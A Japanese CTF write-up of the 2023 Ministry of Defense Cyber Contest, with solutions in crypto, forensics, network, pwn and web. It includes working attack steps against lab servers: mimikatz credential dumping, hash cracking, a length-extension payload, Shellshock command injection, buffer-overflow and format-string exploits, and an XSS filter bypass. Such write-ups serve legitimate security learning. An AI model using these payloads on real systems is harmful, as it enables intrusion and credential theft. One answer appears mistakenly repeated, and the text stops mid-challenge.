防衛省サイバーコンテスト 2023（防衛省CTF）writeup

防衛省主催のCTF。今年で3回目。パスポートの写真を送ったりしての申込みが事前に必要なので、来年開催されたら参加しようと思っている人は注意。

残り3問が解けなくて、13位。

実践的というか、Kali Linuxを使って解くような問題が多かった。その辺あんまり分からん……。

ポイントを払うとヒントが買える方式で、後半はポンポン開けていた。「いや、それは分かっているから……」ということが多かった。素直に最初から買っていったけど、今自分がどの辺で詰まっているかを考えて、最後のほうから開いたりするべきだったかもしれない。

追記。

前のヒントを飛ばして次のヒントを開くことはできなかったらしい。

> なお、ヒントは各問題の上から順番にのみ表示できました。「最初の方は攻略できているので最後の方のヒントだけ知りたい」と思っても、下のヒントだけを表示することはできませんでした。

https://tan.hatenadiary.jp/entry/2023/08/07/211835#%E8%A7%A3%E3%81%91%E3%81%9F%E5%95%8F%E9%A1%8C

![vlc-cybercontest.com_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/daf91892-e76e-878d-acfa-74a2f5faaf8f.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/c871b2ef-9120-b8c3-0810-f3ba5f77e968.png)

ヒントを買った分のポイント減少がけっこうあるな。

# Welcome

## Welcome (10点）

> 防衛省 サイバーコンテスト 2023 へようこそ!
>
> この問題は、解答方法を確認するための問題です。 正解することで 10 ポイントが付与され、他の問題のヒントを取得できるようにもなります。
>
> また添付ファイルは、問題用サーバーへの接続に必要な OpenVPN の設定ファイルとなります。 ダウンロード頂いた上、参加要領の手順に従って VPN 接続を行ってください。
>
> フラグ:本コンテスト開催時の問い合わせ先メールアドレスは何でしょう?
>
> 解答形式: flag{\*\*\*\*\*\*@\*\*\*\*\*\*}

サーバーで動いている問題はVPN接続が必要。これが繋がらなくてしばらく悩んだ。事前に送られてきた要綱を見たら、OpenVPN 2.6.xには非対応だから、2.5.9を使えと書かれていた。

フラグ書いて良いのかな？　止めておくか。

# CRYPT

## Simple Substitution Cipher (10点）

> 以下の暗号文を復号してください。
>
> 暗号文: `synt{tA0iEFckNRiG}`
>
> 解答形式:flag{\*\*\*\*\*\*\*\*\*\*\*\*}

ROT13。

`flag{gN0vRSpxAEvT}`

## Substitution Cipher (10点）

> 暗号文は、以下の対応表(SubstitutionCipher.png)と鍵により暗号化されていますが、鍵の一部(1文字目、4文字目の`?`)が欠損しています。 暗号文から欠損している鍵を推測し、復号してください。
>
> - 暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}.
> - 鍵: `?VC?`
>
> 解答形式:flag{************}

ヴィジュネル暗号の画像が添付されている。

```solve.py
import string

def decrypt(C, K):
    P = ""
    c = 0
    for i in range(len(C)):
        if C[i] in string.ascii_uppercase:
            P += string.ascii_uppercase[(string.ascii_uppercase.index(C[i])-string.ascii_uppercase.index(K[c%len(K)]))%26]
            c += 1
        elif C[i] in string.ascii_lowercase:
            P += string.ascii_lowercase[(string.ascii_lowercase.index(C[i])-string.ascii_uppercase.index(K[c%len(K)]))%26]
            c += 1
        else:
            P += C[i]
    return P

print(decrypt(
    "Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèa xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}.",
    "BVCJ"
)
```

`?` の部分は復号結果を見て適当に。

```
>py solve.py
This text is encrypted with the Vigenv̀z cipher.the flag is flag{vNP2RtAcsLdP}.
```

`flag{vNP2RtAcsLdP}`

## Administrator Hash（NTLM hash） (20点）

> lsass.zip を展開(パスワード:`P@ssw0rd123!`)し、Administrator ユーザーの NTLM ハッシュ値を抽出してください。
>
> 解答形式:flag{********************************}

```
>mimikatz.exe
 :
mimikatz # sekurlsa::minidump ..\lsass.DMP
Switch to MINIDUMP : '..\lsass.DMP'

mimikatz # sekurlsa::logonpasswords
Opening : '..\lsass.DMP' file for minidump...

Authentication Id : 0 ; 494373 (00000000:00078b25)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WIN-A9FVQCU510J
Logon Server      : WIN-A9FVQCU510J
Logon Time        : 2023/06/14 14:05:23
SID               : S-1-5-21-475754373-2222522093-564401973-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * NTLM     : 036dac4f519817e0f6ec28d80ab42205
         * SHA1     : 5cca0adce30b6164666d52ac52ee78e75f0bc3d6
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * Password : (null)
        ssp :
        credman :
```

`flag{036dac4f519817e0f6ec28d80ab42205}`

## Administrator Password (20点）

> 問題「Administrator Hash(NTLM hash)」で抽出したハッシュ値から、Administrator ユーザーのパスワードを推測してください。
>
> 解答形式:flag{***************}

Ophcrackでダメだったけど、 https://crackstation.net/ に入れたら出てきた。

`flag{Ilovedoraemon39}`

## Hash Extension Attack (30点）

> hash_extension.php 内で `echo “same hash!!\n”` を実行させるための、変数 hash, payload の値を求めて下さい。
>
> 解答形式: flag{変数 hash の値:変数 payload の値}

```hash_exgtension.php
<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);

hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.

if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){
    echo "same hash!!\n";
    # flag is $hash:$payload.
}else{
    echo "wrong hash!!\n";
}
?>
```

6文字で、MD5ハッシュが `5ebe2294ecd0e0f08eab7690d2a6ee69` となる文字列は `"secret"` なので、`$secret="secret"` 。これが分かっているから、length extension attackする必要も無く、何とでもなる。例えば、 `flag{ea909ccfbf42c1d230f26167db4d4fdb:admin}` 。通らない。

ヒント。

> hash_extension.php はハッシュ伸長攻撃に対して脆弱です。

Length exetnsion attackで合っているのか……。

> 変数 palyload はパーセントエンコーディングが必要です。

「変数 payload の値」の値はパーセントエンコーディングされていないと思うんだよな……。

> [hash_extender](https://github.com/iagox86/hash_extender) を使用して、hash と payload の値を生成して下さい。

```shell-session
$ ./hash_extender --data "" --secret 6 --append admin --signature 5ebe2294ecd0e0f08eab7690d2a6ee69 --out-data-format=html
Type: md4
Secret length: 6
New signature: 7fdbc502d89010d1d1359d06c493e628
New string: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin

Type: md5
Secret length: 6
New signature: abca9f7719017e88dd4aba0aebb17f38
New string: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin
```

で生成した文字列で通った。「 `echo “same hash!!\n”` を実行させるための、変数 hash, payload の値」なんていくらでもあるのだから、問題サーバーでチェックし、ハッシュが一致したらフラグを返す形にしてほしい。

`flag{abca9f7719017e88dd4aba0aebb17f38:%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin}`

# FORENSICS

## The Place of The First Secret Meeting (10点）

長いので一部抜粋。

> USB メモリの中には画像ファイルが入っていました。この画像が取引場所の可能性があります。この画像について、城の名前ではなく **大きく写っている建物の名前** を特定してください。 建物の名前をヘボン式ローマ字表記したものがフラグです。

配布ファイルはVHD形式で、中に画像が入っていた。画像検索すると高松城。月見櫓だと思って悩んだけど、艮櫓だったわ。

`ushitorayagura`

## The Deleted Confidential File (20点）

> 圧縮アーカイブファイルとして持ち出されたデータは、USB メモリから削除されていた可能性があります。データの復旧を行い、その内容を調査してください。

FTK Imagerを使った。ゴミ箱の中にZIPファイルが入っている。暗号化されているけど、 flag{Archive_file_was_deleted}.txt というファイルが入っていることは分かる。

`flag{Archive_file_was_deleted}`

## They Cannot Be Too Careful. (10点）

> USB メモリから復旧できた圧縮アーカイブファイルには、パスワード保護がかかっていました。このパスワードを特定してください。

ヒント。

> 辞書攻撃は... rockyou で決まり!

ZIPファイルの暗号化がZIPオリジナルの暗号化でなかったり、SJISとUTF-8のファイル名が入っていたりと新しい。

John the Ripperは対応していないのかな？　fcrackzipならどうか？　候補がいっぱい出てきて、 `-u` オプションで正しいか検証してくれるっぽいけど、 `-u` オプションが使っている `unzip` が対応していない。じゃあその候補を試して正しいかどうかを判定するスクリプトを書くか。どれも正しくない。それなら、fcrackzipが出した候補ではなく、rockyou.txtをスクリプトに突っ込むか。時間が掛かりすぎる……。とハマった。

John the ripperが対応してたわ。文字コードの関係かWindows版だとダメだったけど、Kaliに入っていたものならいけた。

```shell-session
┌──(kali㉿kali)-[~/modctf2023]
└─$ zip2john RTADMMI.zip > hash.txt                          
ver 2.0 RTADMMI.zip/�d�v/ is not encrypted, or stored with non-handled compression type
!? compressed length of AES entry too short.
                                                                                                                                
┌──(kali㉿kali)-[~/modctf2023]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: invalid UTF-8 seen reading hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oshiro           (RTADMMI.zip/重要/要求提供的文件清单.pdf)     
oshiro           (RTADMMI.zip/�d�v/flag{Archive_file_was_deleted}.txt)     
2g 0:00:00:19 DONE (2023-08-06 11:07) 0.1018g/s 30865p/s 61731c/s 61731C/s pepito25..oaklee
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

`oshiro`

## Their Perpetration (20点）

> 直接データを取得したと考えられる端末の保全を行いました。調査対象のアーティファクトを解析し、持ち出しに使用された USB メモリのシリアルナンバーを特定してください。 なお、シリアルナンバー「04018636913bcb4e1152」のデバイスは保全の際に用いたものです。

Windowsのストレージのイメージそのままというわけではなく、イベントログ以外はだいたい消されているっぽい。で、USBとイベントログでググると「DriverFrameworks-UserMode」というので保存できるっぽいけど、このファイルは無い。

ヒント。

> レジストリが無くても evtx で頑張ろう。外部デバイスの接続を示すアーティファクトは・・・?

方向性があっているっぽいが。

ディスクイメージをテキストエディタで無理矢理開いて、「04018636913bcb4e1152」を検索し、近くにあったのを入れたらいけた。ヒント要らなかった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/a02e743e-d1af-b937-c5b8-b62ee368d5e0.png)

`0401396c0881735a013c`

## The Taken Out Secrets (30点）

> パスワードがかかっていた圧縮アーカイブファイルの中には、機密情報リストが書かれている PDF ファイルが入っていました。 この PDF ファイルを解析しフラグを取得してください。

分からん……。ヒント。

> フィッシングだけどフィッシングっぽく、ステガノだけどステガノっぽくではない。フラグは3か所に分割されているよ。

分からん……。

解いた人のwriteup。これは解けても良かったな……。

https://blog.hamayanhamayan.com/entry/2023/08/06/220606#forensics-The-Taken-Out-Secrets

# NW

## Transfer (10点）

> 「10.10.10.21」のサーバーは「example.com」ドメインの権威 DNS サーバーです。 このサーバー上に機密情報(フラグ)が隠されていますので、特定して回答してください。

```shell-session
$ dig @10.10.10.21 example.com any

; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.10.21 example.com any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10289
;; flags: qr aa rd; QUERY: 1, ANSWER: 12, AUTHORITY: 0, ADDITIONAL: 4
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: cc14f03e63e4b7dc0100000064cf24dc95658d8cdaa32e56 (good)
;; QUESTION SECTION:
;example.com.                   IN      ANY

;; ANSWER SECTION:
example.com.            86400   IN      SOA     ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400
example.com.            86400   IN      NS      ns2.example.com.
example.com.            86400   IN      NS      ns.example.com.
example.com.            86400   IN      NS      ns3.example.com.
example.com.            300     IN      MX      5 alt1.aspmx.l.google.com.
example.com.            300     IN      MX      10 aspmx2.googlemail.com.
example.com.            300     IN      MX      10 aspmx3.googlemail.com.
example.com.            300     IN      MX      1 aspmx.l.google.com.
example.com.            300     IN      MX      5 alt2.aspmx.l.google.com.
example.com.            300     IN      TXT     "atlassian-domain-verification=YTJ1gswsX4q4yS4zLBkPPSbVuxR1AaoZl3cB88lGY/vU4gPx/M0JLdRCVLguRDYt"
example.com.            300     IN      TXT     "v=spf1 include:_spf.google.com ~all"
example.com.            300     IN      TXT     "google-site-verification=84ReW9l6y2KJSqiXM4E9ic7IVf_-yJiivA9rek58XIw"

;; ADDITIONAL SECTION:
ns.example.com.         86400   IN      A       10.10.0.1
ns2.example.com.        86400   IN      A       10.10.20.22
ns3.example.com.        86400   IN      A       10.10.30.33

;; Query time: 160 msec
;; SERVER: 10.10.10.21#53(10.10.10.21) (TCP)
;; WHEN: Sun Aug 06 13:43:09 JST 2023
;; MSG SIZE  rcvd: 598
```

これ以上どうしろと……。他の問題でnmapを使ったので、ついでにこのサーバーにも掛けたら出てきた。

```shell-session
$ nmap -A 10.10.10.21
Starting Nmap 7.80 ( https://nmap.org ) at 2023-08-06 13:58 JST
Nmap scan report for 10.10.10.21
Host is up (0.031s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  (unknown banner: flag{yExjq2D72ASL})
| dns-nsid:
|_  bind.version: flag{yExjq2D72ASL}
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|     bind
|_    flag{yExjq2D72ASL}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=8/6%Time=64CF287C%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\0\0\0\x07version\x04b
SF:ind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x13\x12flag{yExjq2D72AS
SF:L}");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.61 seconds
```

`flag{yExjq2D72ASL}`

## Analysis (20点）

> あなたは組織内で発生した情報セキュリティインシデントを調査しています。 社内で攻撃の踏み台とされた端末(10.200.200.15)から外部宛の通信を調査しています。 プロキシログ(proxylog.txt)から不審なサーバ(C&C サーバ)宛へのログを見つけて、接続先の IP アドレスを特定してください。

```proxylog.txt
Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type
2023/4/7 8:37:29,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
2023/4/7 8:37:30,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:37:39,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:37:55,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,-
2023/4/7 8:37:55,15109,10.200.200.15,TCP_TUNNEL/200,337131,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:00,2893,10.200.200.15,TCP_TUNNEL/200,487594,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
2023/4/7 8:38:11,2189,10.200.200.15,TCP_TUNNEL/200,1652,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,-
 :
```

正しそうなものを消していって、眺めた。不審なのはこの行。

```
2023/4/7 12:26:25,119970,10.200.200.15,TCP_TUNNEL/200,8099213,CONNECT,amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99,-
```

`flag{2.57.80.99}`

## Enumeration (20点）

> 「10.10.10.22」のサーバーにインストールされているソフトウェア(Postfix)のバージョンを特定し、回答してください。

nmapしても出てこないし、ncで繋いでも出てこない。分からん。

ヒント。

> 対象のサーバ上にはどのようなサービスが稼働しているか確認してください。

> SMTP サービス(25/tcp)を調査してもバージョン情報は確認できません。

> SNMP のコミュニティ名を突破してシステム情報を列挙してください。

SNMPというものがあるらしい。UDPポートを使うから、デフォルトのオプションでnmapしたときには出てこなかったのか。 `snmp-check 10.10.10.22` としたら、プロセスリストやインストルされているアプリがずらずらと出てきて、その中にPostfixのバージョンも書かれていた。何だこのプロトコル。

何も分からなかったから、後の自分のために動かしたときのログを貼っておきたいけど、ありません。今回のCTFでKali Linuxを仮想マシンにインストールし、クリップボードの共有ができなくて不便だから何とかしようとしたら繋がらなくなり、再起動したら消えてしまった。問題サーバーがもう落とされているので、もう1回試すこともできない。

`flag{2.57.80.99}`

## Ladder (30点）

> あなたはペネトレーションテストを行うホワイトハッカーです。ペネトレーションテスト対象組織の社内ネットワークに侵入できました。 引き続き、対象サーバー「10.10.10.23」を調査し、機密情報(フラグ)を見つけてください。

nmapすると、HTTPサーバーとDBサーバーが動いていることが分かる。HTTPサーバーはログイン画面。DBサーバーに繋げられれば認証情報が入っているだろうけれど、DBサーバーにも認証が掛かっている。分からん。

ヒント。

> SNMP のコミュニティ名を突破してシステム情報を列挙し稼働プロセス情報に着目してください。

> 対象システムではデータベースとデータベースプロキシーが稼働してます。

`onesixtyone` というツールを使って、コミュニティ名を辞書攻撃したら `secret` だった。

これで、プロセスの起動引数が見られて、そこにDBのパスワードが書かれているのかと思ったけど、無かった。

解いた人のwriteup。

https://blog.hamayanhamayan.com/entry/2023/08/06/220606#NW-Ladder

これはまだだいぶ遠かった。

# PROGRAMMING

## Regex Exercise (10点）

> たくさんの偽のフラグに混ざった本物のフラグを見つけてください。本物のフラグは
>
> 1. Regexp
> 1. "!!" を含む3文字
> 1. 数字2けた
> 1. "S" で始まる5文字以上の英単語
> 1. 一の位が "8" の数値
>
> がこの順番で並んだものです。

```shell-session
$ grep -P 'Regexp(.!!|!!.)\d\dS\w{4,}\d{7}8' regex-flags.txt
flag{Regexp:!!15Splendid159156098}
```

`flag{Regexp:!!15Splendid159156098}`

## Mimic Unicode (20点）

> mimic.txt の文字列内に隠されているフラグを見つけてください。

```minic.txt
ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ
```

全部「ゴ」に見えるが、「ゴ」と「コ」＋濁点が混ざっている。NFCだかNFDだかそういうの。ちなみに、このCTFの問題文は他の問題も含めて、濁点が別だった。

「ゴ」を `0` に濁点が別のやつを `1` に置換して、

```solve.py
x = "011001100110110001100001011001110111101101010101011011100011000101100011001100000110010001100101010111110100111000110000011100100110110101100001011111000011000101111010010000000111010000110001001100000110111001111101"
for i in range(0, len(x), 8):
    print(chr(int(x[i:i+8], 2)), end="")
print()
```

```shell-session
$ python3 solve.py
flag{Un1c0de_N0rma|1z@t10n}
```

`flag{Un1c0de_N0rma|1z@t10n}`

## LFSR Period (20点）

> 次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。
>
> x^20 + x^15 + x^11 + 1

どっち向きにシフトさせるのかとか、どっちが下位ビットだとか試して、これで通った。

```solve.py
x = 0x70109
c = 0
while True:
    x = (x<<1)&0xfffff|(x>>19^x>>14^x>>10^1)&1
    c += 1
    if x==0x70109:
        break
print(c)
```

```
$ python3 solve.py
57288
```

`57288`

## Grayscale Matrix (30点）

> 3個のファイルに記された数値からなる行列からフラグを復元してください。

L.txt は下三角行列。U.txt は上三角行列。P.txtはだいたい0で、ポツポツ1がある。LUP分解というものがあるらしい。

掛ける順番とか逆行列とか色々試しても、ノイズっぽい画像しか出てこない。値の範囲が0-255になるから、方向性としては合っていると思うのだけど……。

ヒント。

> 行列積をとると?順序はファイル名がヒントになっています。

知ってる。

> 順序がわからなければ LUP 分解という行列計算について調べてみてください。この問題はその逆演算です。

もう調べてる。

> 行列積の成分を眺めてもよくわからなければ、成分の大きさを濃淡にして可視化してみてください。

もうやってる。いや、バイト列に直したりもしていたけど、画像にする方向性で良いと。

残り3分で、「置換行列なら、逆行列とか行列の掛け算とかしなくて良いんじゃね？」と思って試したら通った。でも、これと同じようなことは順番を変えたりで試していると思うんだよな……。謎。

```solve.py
from PIL import Image
import numpy as np

def load(f):
    X = []
    for l in open(f):
        X += [list(map(float, l.split()))]
    return X

L = load("L.txt")
P = load("P.txt")
U = load("U.txt")

inv_P = np.linalg.inv(np.array(P))

def mul(X, Y):
    Z = [[0.]*256 for _ in range(256)]
    for y in range(256):
        for x in range(256):
            for i in range(256):
                Z[y][x] += X[y][i]*Y[i][x]
    return Z

#A = mul(mul(L, U), inv_P)
A = mul(L, U)
A2 = A
A = [None]*256
for y in range(256):
    for x in range(256):
        if P[y][x]>0:
            A[y] = A2[x]

im = Image.new("RGB", (256, 256))
for y in range(256):
    for x in range(256):
        im.putpixel((x, y), (int(A[y][x]+0.001),)*3)
im.save("result.png")

f = open("result.bin", "wb")
for y in range(256):
    for x in range(256):
        f.write(bytes([int(A[y][x]+0.001)]))
```

![result.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/8aebd9fa-20d3-1a6d-4daf-85597a9e0f36.png)

`flag{J75hrNE34GAnmMN4}`

# PWN

## Auth (10点)

> ログイン機能を作ってみました。By C 言語ルーキー

パスワードが合っていたら `"true"` になる変数があるので、バッファオーバーフローで書き換える。

```shell-session
$ nc 10.10.10.15 1001
   _____          __  .__
  /  _  \  __ ___/  |_|  |__
 /  /_\  \|  |  \   __\  |  \
/    |    \  |  /|  | |   Y  \
\____|__  /____/ |__| |___|  /
        \/                 \/

User: admin
Password: 0123456789abcdef0123456789true
Login succeeded!!
flag: flag{wVFuVRn2Zmat}
```

`flag{wVFuVRn2Zmat}`

## Festival (10点）

> 祭りだ!祭りだ! flag を購入してね。

色々買えるけど、フラグは高すぎて買えないやつ。

負値は通らない。それなら、整数オーバーフロー。

```shell-session
$ nc 10.10.10.15 1002
___________              __  .__              .__
\_   _____/___   _______/  |_|__|__  _______  |  |
 |    __)/ __ \ /  ___/\   __\  \  \/ /\__  \ |  |
 |     \  ___/ \___ \  |  | |  |\   /  / __ \|  |__
 \___  / \___  >____  > |__| |__| \_/  (____  /____/
     \/      \/     \/                      \/

Balance : 1000
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000

Staff > What do you want to buy?
Staff > Input menu number.
 You  > 1
Staff > How many?
 You  > 9999999999
Staff > here you are.
Staff > Please buy more!

Balance : 727381068
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000

Staff > What do you want to buy?
Staff > Input menu number.
 You  > 1
Staff > How many?
 You  > 9999999999
Staff > here you are.
Staff > Please buy more!

Balance : 1454761136
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000

Staff > What do you want to buy?
Staff > Input menu number.
 You  > 5
Staff > How many?
 You  > 1
Staff > flag{gwAZLDpEHAg6}
```

`flag{gwAZLDpEHAg6}`

## Parrot (20点）

> 僕はオウム。なんでも繰り返し言うよ。

書式文字列攻撃。7番目の引数の7の部分は適当に試した。

```shell-session
$ nc 10.10.10.15 1003
__________                             __
\______   \_____ ______________  _____/  |_
 |     ___/\__  \\_  __ \_  __ \/  _ \   __\
 |    |     / __ \|  | \/|  | \(  <_> )  |
 |____|    (____  /__|   |__|   \____/|__|

 You > %7$s
Parrot > flag{sRUNzwv4PF4p}
```

`flag{sRUNzwv4PF4p}`

## Shock (20点）

> ショッカーを倒せ!

配布ファイルに問題バイナリと一緒に bash_4.3.0 というファイルがある。Shellshock懐かしい。

```shell-session
$ nc 10.10.10.16 1004
  _________.__                   __
 /   _____/|  |__   ____   ____ |  | __
 \_____  \ |  |  \ /  _ \_/ ___\|  |/ /
 /        \|   Y  (  <_> )  \___|    <
/_______  /|___|  /\____/ \___  >__|_ \
        \/      \/            \/     \/

Shocker > I'm a shocker! Try to beat me!
You > () { :;}; /bin/ls -al
total 5156
drwxr-xr-x 1 root user    4096 Jun 21 08:34 .
drwxr-xr-x 1 root root    4096 Jun 21 04:47 ..
-r-xr-xr-x 1 root user 5231448 Jun 21 08:31 bash_4.3.0
-r-xr-xr-x 1 root user   16936 Jun 21 08:31 chall
-r--r--r-- 1 root user      19 Jun 21 08:31 flag.txt
-r-xr-xr-x 1 root user      66 Jun 21 04:22 start.sh
Segmentation fault (core dumped)
^C
$ nc 10.10.10.16 1004
  _________.__                   __
 /   _____/|  |__   ____   ____ |  | __
 \_____  \ |  |  \ /  _ \_/ ___\|  |/ /
 /        \|   Y  (  <_> )  \___|    <
/_______  /|___|  /\____/ \___  >__|_ \
        \/      \/            \/     \/

Shocker > I'm a shocker! Try to beat me!
You > () { :;}; /bin/cat flag.txt
flag{UgjiH6Ep3Xda}
Segmentation fault (core dumped)
^C
```

`flag{UgjiH6Ep3Xda}`

## Noprotect (30点)

> flags 関数呼び出し忘れちゃった。

リターンアドレスを書き換えて呼ぶ。

```shell-session
$ objdump -S noprotect | grep flags
00000000004011a6 <flags>:
```

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("10.10.10.15", 1005)
s.sendlineafter(b"n0protec > ", b"x"*0x108+pack(0x4011a6))
print(s.recvline().decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to 10.10.10.15 on port 1005: Done
flag{j3Fdc8Mshpm6}

[*] Closed connection to 10.10.10.15 port 1005
```

PWNジャンルはこれが最難。ジャンルごとの難易度の差ひどくない？？？　と思ったけど、正解者数的にはそんなに大きく開きがあるわけではないな……。

`flag{j3Fdc8Mshpm6}`

# TRIVIA

## Threat (10点)

> コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。

`ランサムウェア`

## Behavior (10点）

> エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。

分からん……。ChatGPTが話題だけど、Google先生も優秀。そのまま検索すれば良い。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/7d342cfa-bf46-fcda-5f32-da03f9ff44b2.png)

`EDR`

## Inventor (10点)

> RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。

`リベスト`

# WEB

## Basic (10点)

> 情報セキュリティ担当のジョナサンは、退職者が利用していたパソコンの通信ログを確認していたところ、Basic 認証でアクセス制限がかけられている[http://10.10.10.6/Aw6dfLUM/](http://10.10.10.6/Aw6dfLUM/) へアクセスしていることが判明しました。
>
> 提供したパソコンの通信ログ(Basic.pcapng)を確認して認証情報を探し出してください。 フラグはその Basic 認証でのログイン後のページにあります。

OKを返しているレスポンスに対応するリクエストを見れば良い。

`flag{d0AqEPxpZpnf}`

## Discovery (10点)

> ゲーム会社に勤めているジョナサンが管理しているサイト( [http://10.10.10.6/Wg6LQhmX/](http://10.10.10.6/Wg6LQhmX/) ) 配下のディレクトリに、機密情報(flag)が記載されたテスト用の html ファイルが公開されていると連絡を受けました。 ジョナサンはサイトにあるリンクたどって該当ファイルを見つけ出そうとしましたが、うまくいきませんでした。 攻撃者はどのようにして機密情報(flag)を見つけだしたのでしょうか? あなたは機密情報(flag)を見つけ出し記載されたフラグを確認してください。

robots.txt か sitemap.xml かと思ったけどどちらも無いし、全然分からん。

ヒント。

> ディレクトリ探索のツールには dirb や ffuf などがあります。

そんなツールがあるのか。dirbで games/ というディレクトリが出てきた。games/ の中は何も見つからん……。

> フラグが記載されているファイルの拡張子は html だったことを思い出してください。

あ、はい。

`-X .html` とかだった気がする。これもクリップボードを共有していないKaliで動かして、再起動しちゃったのでログ無し。

`flag{L1h$ZL-!-,es}`

## Bypass (20点)

> 上司のクリストファーはセキュリティ会社に脆弱性診断の依頼をした際、アンケートフォーム( http://10.10.10.7/46am9tjb/ ) に、クロスサイトスクリプティングの脆弱性が検出されたと報告を受けました。 このページでは JavaScript を実行されないように対策をとっているため、納得できてないようです。 上司はあなたに JavaScript を実行できるか確認するようにお願いしてきました。 以下のような alert 関数を実行できればフラグが表示されます。
>
> \<script\>alert(1)\</script\>

年齢のところが整数であることを、JavaScriptでチェックしていた。それならサーバー側でチェックしていないだろ。 `validateForm = ()=>true` でチェックを潰して投稿。

`<>alert(1)<>` になったので、 `<sscriptcript>alert(1)</sscriptcript>` を投稿。

